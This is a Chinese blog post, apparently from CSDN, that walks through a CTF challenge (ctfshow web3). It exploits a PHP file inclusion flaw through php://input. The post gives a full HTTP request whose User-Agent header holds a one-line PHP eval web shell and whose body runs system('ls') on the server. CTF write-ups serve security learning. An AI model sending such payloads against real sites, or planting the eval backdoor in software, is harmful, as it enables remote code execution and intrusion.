ctfshow-web3

最新推荐文章于 2024-06-15 23:43:25 发布

Wcbddd

最新推荐文章于 2024-06-15 23:43:25 发布

阅读量747

点赞数

分类专栏： web CTF 文章标签： python web安全

本文链接：https://blog.csdn.net/HAI_WD/article/details/131970225

版权

CTF 同时被 2 个专栏收录

81 篇文章 1 订阅

订阅专栏

web

37 篇文章 0 订阅

订阅专栏

文章讲述了如何利用PHP的php://input流来访问请求的原始数据，并将其作为PHP代码执行，从而触发文件包含漏洞。通过构造特定的GET请求，可以执行系统命令，例如运行ls来列出目录。作者发现了名为ctf_go_go_go的文件，并通过这种方式进行读取。

摘要由CSDN通过智能技术生成

0x00 前言

0x01 题目

在这里插入图片描述

0x02 Write Up

这个题目一看就知道是一个文件包含漏洞

php://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。

GET http://3afc5257-7b7d-4917-a1eb-5ea59fc35d8c.challenge.ctf.show/?url=php://input HTTP/1.1
Host: 3afc5257-7b7d-4917-a1eb-5ea59fc35d8c.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: <?php @eval($_POST["s"])?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Length: 20

<?php system('ls')?>